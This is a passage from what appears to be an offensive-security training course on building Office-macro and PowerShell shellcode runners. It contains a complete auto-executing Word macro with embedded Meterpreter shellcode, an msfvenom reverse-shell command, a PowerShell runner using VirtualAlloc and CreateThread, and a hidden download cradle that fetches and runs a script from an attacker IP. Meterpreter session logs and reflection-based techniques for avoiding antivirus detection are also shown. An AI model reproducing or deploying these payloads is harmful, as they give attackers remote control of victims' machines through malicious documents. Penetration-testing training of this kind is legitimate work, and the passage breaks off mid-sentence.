    res = RtlMoveMemory(addr + counter, data, 1)
Next counter

Listing 43 - Call to import
RtlMoveMemory and call it

In this code, we imported RtlMoveMemory, declared two long variables
and copied our payload.

With the shellcode bytes copied into the executable buffer, we are
ready to execute it with CreateThread.[115]

CreateThread is a fairly complicated API and works by instructing the
operating system to create a new execution thread in a process. We
will use it to create an execution thread using instructions found at
a specific memory address, which contains our shellcode.

The function prototype of CreateThread from MSDN is shown in Listing
44.

HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  LPVOID                  lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);

Listing 44 - Function prototype for
CreateThread

While the number of arguments and the associated documentation may
seem daunting, most are not needed and we can set them to "0". First,
as with the previous APIs, we must import the function and translate
its arguments to VBA data types. The first two are used to specify
non-default settings for the thread and since we won't need them, we
will set these values to zero and specify them as Long.

The third argument, lpStartAddress, is the start address for code
execution and must be the address of our shellcode buffer. This is
translated to LongPtr.

The fourth argument, lpParameter, is a pointer to arguments for the
code residing at the starting address. Since our shellcode requires no
arguments, we can set this parameter type to LongPtr with a value of
zero.

The declaration and import are shown below.

Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr

Listing 45 - Declare statement for
CreateThread

Having declared the function, we may now call it. This line is pretty
simple with only one variable for the start address of our shellcode
buffer.

res = CreateThread(0, 0, addr, 0, 0, 0)

Listing 46 - Call statement for
CreateThread

Now we can piece the entire VBA macro together as shown in Listing
47.

In summary, we begin by declaring functions for the three Win32
APIs. Then we declare five variables, including a variable for our
Meterpreter array and use VirtualAlloc to create some space for our
shellcode. Next, we use RtlMoveMemory to put our code in memory
with the help of a For loop. Finally, we use CreateThread to
execute our shellcode.

Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

Function MyMacro()
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long
    Dim res As Long
    
    buf = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
...
49, 57, 50, 46, 49, 54, 56, 46, 49, 55, 54, 46, 49, 52, 50, 0, 187, 224, 29, 42, 10, 104, 166, 149, 189, 157, 255, 213, 60, 6, 124, 10, 128, 251, 224, 117, 5, 187, 71, 19, 114, 111, 106, 0, 83, 255, 213)

    addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
    
    For counter = LBound(buf) To UBound(buf)
        data = buf(counter)
        res = RtlMoveMemory(addr + counter, data, 1)
    Next counter
    
    res = CreateThread(0, 0, addr, 0, 0, 0)
End Function 

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub

Listing 47 - Full VBA script to execute
Meterpreter staged payload in memory

When executed, our shellcode runner calls back to the Meterpreter
listener and opens the reverse shell as expected, entirely in memory.

To work as expected, this requires a matching 32-bit multi/handler
in Metasploit with the EXITFUNC set to "thread" and matching IP and
port number.

This approach is rather low-profile. Our shellcode resides in memory
and there is no malicious executable on the victim's machine. However,
the primary disadvantage is that when the victim closes Word, our
shell will die. In the next section, we will once again turn to the
strength of PowerShell to overcome this disadvantage.

Although Metasploit's AutoMigrate module solves this, we'll
explore an alternative approach.

Exercise

  1. Recreate the shellcode runner in this section.

PowerShell Shellcode Runner

Although we have a working exploit, there's room for improvement.
First, the document contains the embedded first-stage Meterpreter
shellcode and is saved to the hard drive where it may be detected
by antivirus. Second, the VBA version of our attack executed the
shellcode directly in memory of the Word process. If the victim closes
Word, we'll lose our shell.

In this section, we'll change tactics a bit. First, we'll instruct
the macro to download a PowerShell script (which contains our staging
shellcode) from our web server and run it in memory. This is an
improvement over our previous version that embedded the shellcode
in the macro within the malicious document. Next, we'll launch the
PowerShell script as a child process of (and from) Microsoft Word.
Under a default configuration, the child process will not die when
Microsoft Word is closed, which will keep our shell alive.

To accomplish this, we'll use the DownloadString[116]
method of the WebClient class to download the PowerShell script
directly into memory and execute it with the Invoke-Expression[117]
commandlet.

We can reuse the exact same Windows APIs to execute the shellcode.
However, we must translate the syntax from VBA to PowerShell. This
means we must spend some time discussing the basics of calling Win32
APIs from PowerShell.

Calling Win32 APIs from PowerShell

PowerShell cannot natively interact with the Win32 APIs, but with
the power of the .NET framework we can use C# in our PowerShell
session. In C#, we can declare and import Win32 APIs using the
DllImportAttribute[118] class. This allows us to invoke
functions in unmanaged dynamic link libraries.

Just like with VBA, we must translate the C data types to C#
data types. We can do this easily with Microsoft's Platform
Invocation Services
, commonly known as P/Invoke.[119]
The P/Invoke APIs are contained in the System[120] and
System.Runtime.InteropServices[121] namespaces and must be
imported through the using[122] directive keyword.

The simplest way to begin with P/Invoke is through the
www.pinvoke.net website, which documents translations of the
most common Win32 APIs.

For example, consider the syntax of MessageBox from
User32.dll, shown below.

int MessageBox(
  HWND    hWnd,
  LPCTSTR lpText,
  LPCTSTR lpCaption,
  UINT    uType
);

Listing 48 - C function prototype for MessageBox

Let's "translate" this into a C# method signature. A method
signature is a unique identification of a method for the C# compiler.
The signature consists of a method name and the type and kind (value,
reference, or output) of each of its formal parameters and the return
type.

To "translate" this, we can either search the
www.pinvoke.net website or simply Google for pinvoke User32
messagebox
. The first hit leads us to the C# signature for the call:

[DllImport("user32.dll", SetLastError = true, CharSet= CharSet.Auto)]
public static extern int MessageBox(int hWnd, String text, String caption, uint type);

Listing 49 - C# DllImport statement for
MessageBox

In order to use this, we'll need to add a bit of code to import the
System and System.Runtime.InteropServices namespaces containing
the P/Invoke APIs.

Then, we'll create a C# class (User32) which imports the MessageBox
signature with DllImport. This class will allow us to interact with
the Windows API.

using System;
using System.Runtime.InteropServices;

public class User32 {
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern int MessageBox(IntPtr hWnd, String text, 
        String caption, int options);
}

Listing 50 - C# DllImport statement
for MessageBox

The name of the class (User32 in our case) is arbitrary and any
could be chosen.

Now that we have a C# import and a P/Invoke translation, we need
to invoke it from PowerShell with the Add-Type[123] keyword.
Specifying Add-Type in PowerShell will force the .NET framework
to compile and create an object containing the structures, values,
functions, or code inside the Add-Type statement.

Put simply, Add-Type uses the .NET framework to compile the C# code
containing Win32 API declarations.

The complete Add-Type statement is shown in Listing
51.

$User32 = @"
using System;
using System.Runtime.InteropServices;

public class User32 {
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern int MessageBox(IntPtr hWnd, String text, 
        String caption, int options);
}
"@

Add-Type $User32

Listing 51 - PowerShell Add-Type statement
for importing MessageBox

First, note that PowerShell uses either a newline or a semicolon
to signify the end of a statement. The "@" keyword declares
Here-Strings[124] which are a simple way for us to declare blocks
of text.

In summary, the code first creates a $User32 variable and sets it
to a block of text. Inside that block of text, we set the program to
use System and System.Runtime.InteropServices. Then we import the
MessageBox API from the user32 dll, and finally we use Add-Type to
compile the C# code contained in the $User32 variable.

Our code is nearly complete. We now simply need to execute the API
itself. This can be done through the instantiated User32 .NET object
as shown below. Here we are telling the program to call MessageBox
and present a dialog prompt that says "This is an alert":

[User32]::MessageBox(0, "This is an alert", "MyBox", 0)

Listing 52 - Calling the Win32 API
MessageBox from PowerShell

At this point, our code looks like this:

$User32 = @"
using System;
using System.Runtime.InteropServices;

public class User32 {
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern int MessageBox(IntPtr hWnd, String text, 
        String caption, int options);
}
"@

Add-Type $User32

[User32]::MessageBox(0, "This is an alert", "MyBox", 0)

Listing 53 - Full code calling Win32
API MessageBox from PowerShell

This code should invoke MessageBox from PowerShell. Remember that
our Microsoft Office 2016 version of Word is a 32-bit process, which
means that PowerShell will also launch as a 32-bit process. In order
to properly simulate and test this scenario, we should use the 32-bit
version of PowerShell ISE located at:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe

Listing 54 - Path to the 32-bit version of
PowerShell ISE

When the code is executed, we obtain a message box as shown in Figure
22.

Figure 22: Calling MessageBox from PowerShell

This works quite well and demonstrates that while PowerShell cannot
natively use Win32 APIs, Add-Type can invoke them through P/Invoke.
In the next section, we will use a similar technique to implement our
VBA shellcode runner in PowerShell.

Exercises

  1. Import and call MessageBox using Add-Type as shown in this
    section.
  2. Apply the same techniques to call the Win32 GetUserName API.

Porting Shellcode Runner to PowerShell

The concept of translating our shellcode runner technique from VBA
to PowerShell is not that complicated. We can do this by reusing the
theory from our VBA shellcode runner. We already know the three steps
to perform. First, we allocate executable memory with VirtualAlloc.
Next, we copy our shellcode to the newly allocated memory region.
Finally, we execute it with CreateThread.

In the VBA code, we used RtlMoveMemory to copy the shellcode, but
in PowerShell we can use the .NET Copy[125] method from the
System.Runtime.InteropServices.Marshal namespace. This allows data
to be copied from a managed array to an unmanaged memory pointer.

We'll use P/Invoke (from a www.pinvoke.net search) to
translate the arguments of VirtualAlloc and CreateThread, creating
the following Add-Type statement.

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
"@

Add-Type $Kernel32

Listing 55 - Using P/Invoke and Add-Type to
import VirtualAlloc and CreateThread

Note that we used Here-Strings to assign a block of text to the
$Kernel32 variable. We also created the import statements in the
public Kernel32 class so we can reference it and compile it later.

Next we must supply the required shellcode, which we'll again generate
with msfvenom. This time, we'll use the ps1 output
format:

kali@kali:~$ msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f ps1
...
Payload size: 480 bytes
Final size of ps1 file: 2356 bytes
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89...

Listing 56 - Creating shellcode in ps1 format

Now that the shellcode has been generated, we can copy the $buf
variable and add it to our code. We'll also start setting the API
arguments as shown in Listing 57.

[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60...

$size = $buf.Length

[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)

$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);

Listing 57 - Shellcode runner in PowerShell

We invoked the imported VirtualAlloc call with the same arguments
as before. These include a "0" to let the API choose the allocation
address, the detected size of the shellcode, and the hexadecimal
numbers 0x3000 and 0x40 to set up memory allocation and protections
correctly.

We used the .NET Copy method to copy the shellcode, supplying the
managed shellcode array, an offset of 0 indicating the start of the
buffer, the unmanaged buffer address, and the shellcode size.

Finally, we called CreateThread, supplying the starting address.

If we run this code from PowerShell ISE, we get a reverse shell. Nice.

[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.11; (UUID: pm1qmw8u) Staging x86 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.11:49678)

meterpreter > 

Listing 58 - Multi/handler catches
Meterpreter shellcode executed by PowerShell

Now we need to trigger this from a Word macro. However, we won't
simply embed the PowerShell code in VBA. Instead, we'll create a
cradle that will download our code into memory and execute it.

The code for the download cradle is shown below:

Sub MyMacro()
    Dim str As String
    str = "powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.ps1') | IEX"
    Shell str, vbHide
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub

Listing 59 - VBA code calling the
PowerShell cradle that executes the shellcode runner

First, we declared a string variable containing the PowerShell
invocation of the download cradle through the Net.WebClient class.
Once the PowerShell script has been downloaded into memory as a
string, it then executes using Invoke-Expression (IEX). This entire
code execution is triggered with the Shell command.

Notice that the download cradle references the run.ps1 in the
web root of our Kali machine. To execute our code, we first copy our
PowerShell shellcode runner into the run.ps1 file on our Kali
Apache web server.

Next we open Microsoft Word and insert the VBA code in Listing
59 into our macro and execute it.

However, we don't catch a shell in our multi/handler. Let's try to
troubleshoot.

First, we know the macro is executing because our Kali machine's
Apache logs reveal the GET request for the shellcode runner as shown
in Listing 60.

kali@kali:~$ sudo tail /var/log/apache2/access.log
...
192.168.120.11 - - [08/Jun/2020:05:21:22 -0400] "GET /run.ps1 HTTP/1.1" 200 4202 "-" "-"

Listing 60 - Apache access log showing
our run.ps1 script being fetched

On the Windows side, if we use Process Explorer, and we are quick,
we might notice that a PowerShell process is being created but then
quickly terminates.

The reason for this is fairly straightforward. Our previous VBA
shellcode runner continued executing because we never terminated
its parent process (Word). However, in this version, our shell dies
as soon as the parent PowerShell process terminates. Our shell is
essentially being terminated before it even starts.

To solve this, we must instruct PowerShell to delay
termination until our shell fully executes. We'll use the Win32
WaitSingleObject[126] API to pause the script and allow
Meterpreter to finish.

We'll update our shellcode runner PowerShell script to import
WaitForSingleObject using P/Invoke and Add-Type and
invoke it as shown in the highlighted sections of Listing
61:

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, 
        uint flAllocationType, uint flProtect);
        
    [DllImport("kernel32", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, 
        uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, 
            uint dwCreationFlags, IntPtr lpThreadId);
            
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, 
        UInt32 dwMilliseconds);
}
"@

Add-Type $Kernel32
...

[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")

Listing 61 - Importing WaitSingleObject
and calling it to stop PowerShell from terminating

Let's discuss this addition. When CreateThread is called, it returns
a handle to the newly created thread. We provided this handle to
WaitForSingleObject along with the time to wait for that thread
to finish. In this case, we have specified 0xFFFFFFFF, which will
instruct the program to wait forever or until we exit our shell.
Notice that we have explicitly performed a type cast on this value
to an unsigned integer with the [uint32] static .NET type because
PowerShell only uses signed integers.

We again used Here-Strings to assign a block of text to the
$Kernel32 variable. Inside our class, we imported three Windows
APIs. We then used Add-Type to compile the public Kernel32 class
that we invoked when using the APIs. This addition should halt the
premature termination of PowerShell.

We can now update the PowerShell shellcode runner hosted on our Kali
Linux web server and rerun the VBA code. This should result in a
reverse Meterpreter shell. Very Nice.

[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.11; (UUID: pm1qmw8u) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.11:49678)

meterpreter > 

Listing 62 - Meterpreter reverse shell
from PowerShell inside a VBA macro is not exiting

We can also observe the PowerShell process running as a child process
of Word (Figure 23).

Figure 23: PowerShell as a child process running Meterpreter shellcode

In this section we created a shellcode runner in PowerShell. We used
the VBA code in our Word macro to download and execute this script
from our Kali web server. This effectively moved our payload from the
Word document and it would appear that the code is running completely
in memory, which should help evade detection.

Exercises

  1. Replicate the PowerShell shellcode runner used in the section.
  2. Is it possible to use a different file extension like .txt
    for the run.ps1 file?

Keep That PowerShell in Memory

Since our VBA and PowerShell shellcode runners do not write to disk,
it seems safe to assume that they are fully executing from memory.
However, PowerShell and the .NET framework leave artifacts on the hard
drive that antivirus programs can identify.

In this section, we will investigate these artifacts and use the .NET
framework reflection[127] technique to avoid creating them. But
first, let's discuss how exactly these artifacts are created.

Add-Type Compilation

As we discussed previously, the Add-Type keyword lets us
use the .NET framework to compile C# code containing Win32 API
declarations and then call them. This compilation process is performed
by the Visual C# Command-Line Compiler or csc.[128] During
this process, both the C# source code and the compiled C# assembly are
temporarily written to disk.

Let's demonstrate this with our prior PowerShell MessageBox example.
We'll use Process Monitor[129] from SysInternals to monitor
file writes.

Note that Process Monitor and Process Explorer are two different
tools from the SysInternals Suite.

To start monitoring file writes, we must first open Process Monitor
and navigate to Filter > Filter. In the new dialog window, we can
create filter rules. Figure 24 shows a filter
for file writes by the powershell_ise.exe process.

Figure 24: Process Monitor filter creation

We'll Add and Apply the filter and clear any old events by
pressing C+x.

Next, we'll open the 32-bit version of PowerShell ISE and run
the code to launch the MessageBox, which is shown in Listing
63.

$User32 = @"
using System;
using System.Runtime.InteropServices;

public class User32 {
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern int MessageBox(IntPtr hWnd, String text, String caption, int options);
}
"@

Add-Type $User32

[User32]::MessageBox(0, "This is an alert", "MyBox", 0)

Listing 63 - MessageBox PowerShell code
using Add-Type

Let's review the results. After executing the PowerShell code,
Process Monitor lists many events including CreateFile,
WriteFile, and CloseFile operations as shown in Figure
25.

Figure 25: Process Monitor output showing file operations

These API calls are used for file operations and the file names
used in the operations, including rtylilrr.0.cs and
rtylilrr.dll, are especially interesting. While the filename
itself is randomly generated, the file extensions suggest that both
the C# source code and the compiled code have been written to the hard
drive.

If our suspicion is correct, then the rtylilrr.dll assembly
should be loaded into the PowerShell ISE process.

We can list loaded assemblies using the GetAssemblies[130]
method on the CurrentDomain[131] object. This method is invoked
through the static AppDomain[132] class (using the []
format) as shown in Listing 64.

PS C:\Windows\SysWOW64\WindowsPowerShell\v1.0> [appdomain]::currentdomain.getassemblies() | Sort-Object -Property fullname | Format-Table fullname

FullName                                                                                                        
--------                                                                                                        
0bhoygtr, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null                                                 
Accessibility, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a                                
Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null               
MetadataViewProxies_092d3241-fb3c-4624-9291-72685e354ea4, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null 
Microsoft.GeneratedCode, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null                                  
...   
PresentationFramework-SystemXml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089              
qdrje0cy, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null                                                 
r1b1e3au, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null                                                 
rtylilrr, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
...

Listing 64 - Assemblies loaded in the
PowerShell ISE process

We improved the readability of the output by piping it into the
Sort-Object[133] cmdlet, which sorted it by name as
supplied with the -Property option. Finally, we piped the
result of the sort into the Format-Table cmdlet to list the
output as a table.

As shown in the list of loaded assemblies, the rtylilrr file
is indeed loaded into the process.

Our investigation reveals that PowerShell writes a C# source code file
(.cs) to the hard drive, which is compiled into an assembly
(.dll) and then loaded into the process.

The Add-Type code will likely be flagged by endpoint antivirus,
which will halt our attack. We'll need to rebuild our PowerShell
shellcode runner to avoid this.

Exercises

  1. Execute the Add-Type MessageBox PowerShell code and capture the
    source code and assembly being written to disk.
  2. Does the current PowerShell shellcode runner write files to disk?

Leveraging UnsafeNativeMethods

Let's try to improve our shellcode runner. It executed three primary
steps related to the Win32 APIs. It located the function, specified
argument data types, and invoked the function. Let's first focus on
the techniques we used to locate the functions.

There are two primary ways to locate functions in unmanaged dynamic
link libraries. Our original technique relied on the Add-Type and
DllImport keywords (or the Declare keyword in VBA). However,
Add-Type calls the csc compiler, which writes to disk. We must avoid
this if we want to operate completely in-memory.

Alternatively, we can use a technique known as dynamic lookup, which
is commonly used by low-level languages like C. By taking this path,
we hope to create the .NET assembly in memory instead of writing code
and compiling it. This will take significantly more work, but it is
a valuable technique to understand.

To perform a dynamic lookup of function addresses, the
operating system provides two special Win32 APIs called
GetModuleHandle[134] and GetProcAddress.[135]

GetModuleHandle obtains a handle to the specified DLL, which is
actually the memory address of the DLL. To find the address of a
specific function, we'll pass the DLL handle and the function name to
GetProcAddress, which will return the function address. We can use
these functions to locate any API, but we must invoke them without
using Add-Type.

Since we cannot create any new assemblies, we'll try to locate
existing assemblies that we can reuse. We'll use the code in Listing
65 to find assemblies that match our criteria.

$Assemblies = [AppDomain]::CurrentDomain.GetAssemblies()

$Assemblies |
  ForEach-Object {
    $_.GetTypes()|
      ForEach-Object {
          $_ | Get-Member -Static| Where-Object {
            $_.TypeName.Contains('Unsafe')
          }
      } 2> $null
    }

Listing 65 - Code to list and parse
functions in loaded assemblies

To begin, we are relying on GetAssemblies to search preloaded
assemblies in the PowerShell process. Since each assembly is an
object, we will use the ForEach-Object[136] cmdlet to loop
through them. We'll then invoke GetTypes[137] for each object
through the _$__[138] variable (which contains the current
object) to obtain its methods and structures.

It stands to reason that we could search the preloaded assemblies
for the presence of GetModuleHandle and GetProcAddress, but
we can also narrow the search more specifically. For example, when
C# code wants to directly invoke Win32 APIs it must provide the
Unsafe[139] keyword. Furthermore, if any functions are to be
used, they must be declared as static to avoid instantiation.

Knowing this, we'll perform yet another ForEach-Object loop on all
the discovered objects and invoke the Get-Member[140] cmdlet
with the -Static flag to only locate static properties or methods.

The ForEach-Object loop is an advanced version of the regular
For loop and like other loops, it can be nested, although this may
lead to performance issues.

Finally, we pipe these static properties and methods through the
Where-Object[141] cmdlet and filter any TypeName[142]
(which contains meta information about the object) that contains the
keyword Unsafe.

This should dump every function that satisfies our criteria. Let's run
it and examine the output, shown in Listing 66.

...
 TypeName: Microsoft.Win32.UnsafeNativeMethods

Name                             MemberType Definition                                                                                                     
----                             ---------- ----------                                                                                                     
....                                
GetModuleFileName                Method     static int GetModuleFileName(System.Runtime.InteropServices.HandleRef hModule, System.Text.StringBuilder buf...
GetModuleHandle                  Method     static System.IntPtr GetModuleHandle(string modName)                                                           
GetNumberOfEventLogRecords       Method     static bool GetNumberOfEventLogRecords(System.Runtime.InteropServices.SafeHandle hEventLog, [ref] int count)   
GetOldestEventLogRecord          Method     static bool GetOldestEventLogRecord(System.Runtime.InteropServices.SafeHandle hEventLog, [ref] int number)     
GetProcAddress                   Method     static System.IntPtr GetProcAddress(System.IntPtr hModule, string methodName), static System.IntPtr GetProcA...
GetProcessWindowStation          Method     static System.IntPtr 
...

Listing 66 - Output from parsing loaded
assemblies

This code generates an enormous amount of output. If we search the
output for "GetModuleHandle", we locate sixteen occurrences. One of
them is located in the Microsoft.Win32.UnsafeNativeMethods class as
shown in the truncated output above.

We also notice that the same class contains GetProcAddress, our
other required function. Let's try to identify which assembly contains
these two functions.

To do this, we'll modify the parsing code to first print the current
assembly location through the Location[143] property and then
inside the nested ForEach-Object loop make the TypeName match
Microsoft.Win32.UnsafeNativeMethods instead of listing all methods
with the static keyword.

The modified script is shown in Listing
67.

$Assemblies = [AppDomain]::CurrentDomain.GetAssemblies()

$Assemblies |
  ForEach-Object {
    $_.Location
    $_.GetTypes()|
      ForEach-Object {
          $_ | Get-Member -Static| Where-Object {
            $_.TypeName.Equals('Microsoft.Win32.UnsafeNativeMethods')
          }
      } 2> $null
    }

Listing 67 - Locating the assembly in
which GetModuleHandle and GetProcAddress are located

The truncated output in Listing 68
shows that the assembly is System.dll. This is reasonable since
it's a common system library that contains fundamental content such as
common data types and references.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll


   TypeName: Microsoft.Win32.UnsafeNativeMethods

Name                             MemberType Definition                                                      
----                             ---------- ----------                                                      
Equals                           Method     static bool Equals(System.Object objA, System.Object objB)      
ReferenceEquals                  Method     static bool ReferenceEquals(System.Object objA, System.Object...
C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.ISECommon\v4.0_3.0.0.0__31bf3856ad364e35\Micr
osoft.PowerShell.ISECommon.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
ClearEventLog                    Method     static bool ClearEventLog(System.Runtime.InteropServices.Safe...
CreateWindowEx                   Method     static System.IntPtr CreateWindowEx(int exStyle, string lpszC...
DefWindowProc                    Method     static System.IntPtr DefWindowProc(System.IntPtr hWnd, int ms...
DestroyWindow                    Method     static bool DestroyWindow(System.Runtime.InteropServices.Hand...
DispatchMessage                  Method     static int DispatchMessage([ref] Microsoft.Win32.NativeMethod...
Equals                           Method     static bool Equals(System.Object objA, System.Object objB)      
GetClassInfo                     Method     static bool GetClassInfo(System.Runtime.InteropServices.Handl...
GetDC                            Method     static System.IntPtr GetDC(System.IntPtr hWnd)                  
GetFileVersionInfo               Method     static bool GetFileVersionInfo(string lptstrFilename, int dwH...
GetFileVersionInfoSize           Method     static int GetFileVersionInfoSize(string lptstrFilename, [ref...
GetModuleFileName                Method     static int GetModuleFileName(System.Runtime.InteropServices.H...
GetModuleHandle                  Method     static System.IntPtr GetModuleHandle(string modName)            
GetNumberOfEventLogRecords       Method     static bool GetNumberOfEventLogRecords(System.Runtime.Interop...
GetOldestEventLogRecord          Method     static bool GetOldestEventLogRecord(System.Runtime.InteropSer...
GetProcAddress                   Method     static System.IntPtr GetProcAddress(System.IntPtr hModule, st...
...

Listing 68 - Locating the assembly
in which GetModuleHandle and GetProcAddress are located

However, there is an issue that these methods are only meant to be
used internally by the .NET code. This blocks us from calling them
directly from PowerShell or C#.

To solve this issue, we have to develop a way that allows us to call
it indirectly. This requires us to use multiple techniques that will
lead us down a deep rabbit hole.

The first step is to obtain a reference to these functions. To do
that, we must first obtain a reference to the System.dll assembly
using the GetType[144] method.

This reference to the System.dll assembly will allow us to
subsequently locate the GetModuleHandle and GetProcAddress methods
inside it.

Like the previous filtering we have performed, it is not
straightforward.[145] Here's the code we will use:

$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { 
  $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') })
  
$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')

Listing 69 - Obtaining a reference to
the System.dll assembly

First, we'll pipe all the assemblies into Where-Object
and filter on two conditions. The first is whether the
GlobalAssemblyCache[146] property is set. The Global
Assembly Cache is essentially a list of all native and registered
assemblies on Windows,[147] which will allow us to filter
out non-native assemblies.

The second filter is whether the last part of its file path is
"System.dll" as obtained through the Location property. Recall we
found the full path to be the following:

C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll

Listing 70 - The full path to the
System.dll assembly

We'll use the Split[148] method to split it into an array
based on the directory delimiter (\).

Finally, we select the last element of the split string array with the
"-1" index and check if it is equal to "System.dll".

Using GetType to obtain a reference to the System.dll assembly at
runtime is an example of the Reflection[127-1] technique. This
is a very powerful feature that allows us to dynamically obtain
references to objects that are otherwise private or internal.

We'll use this technique once again with the GetMethod[149] function to
obtain a reference to the internal GetModuleHandle method:

$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { 
  $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') })
  
$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')

$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')

Listing 71 - Obtaining a reference
to GetModuleHandle through reflection

Executing the combined code returns the method object inside the
System.dll assembly, in spite of it being an internal only method.

We can now use the internal Invoke[150] method to call
GetModuleHandle and obtain the base address of an unmanaged DLL.

As shown in Listing 72, Invoke
takes two arguments and both are objects. The first argument is the
object to invoke it on but since we use it on a static method we may
set it to "$null". The second argument is an array consisting of the
arguments for the method we are invoking (GetModuleHandle). Since
the Win32 API only takes the name of the DLL as a string we only need
to supply that.

To repeat earlier examples, we are going to resolve
user32.dll, so that we can again call MessageBox.

$GetModuleHandle.Invoke($null, @("user32.dll"))

Listing 72 - Calling GetModuleHandle
through reflection

Execution of the last statement and its associated output is shown in
Listing 73:

PS C:\Windows\SysWOW64\WindowsPowerShell\v1.0> $GetModuleHandle.Invoke($null, @("user32.dll"))
1973485568

Listing 73 - Invoking
GetModuleHandle on user32.dll and obtaining its base address

To verify that the lookup worked, we translate the value 1973485568 to
its hexadecimal equivalent of 0x75A10000 and open Process Explorer.

In Process Explorer, we'll select the PowerShell ISE process. Navigate
to View > Lower Pane View > DLLs, in the new sub window locate
user32.dll, and double click it. In the properties window, we
can compare the resolved value to the Load Address shown in Figure
26.

Figure 26: Loaded address of user32.dll obtained from Process Explorer

With the invocation of GetModuleHandle and the resulting correct DLL
base address, we gain more confidence that this avenue will lead to
a usable result. Next we need to locate GetProcAddress to resolve
arbitrary APIs.

We'll use reflection through GetMethod to locate
GetProcAddress like we did for GetModuleHandle. We'll again use
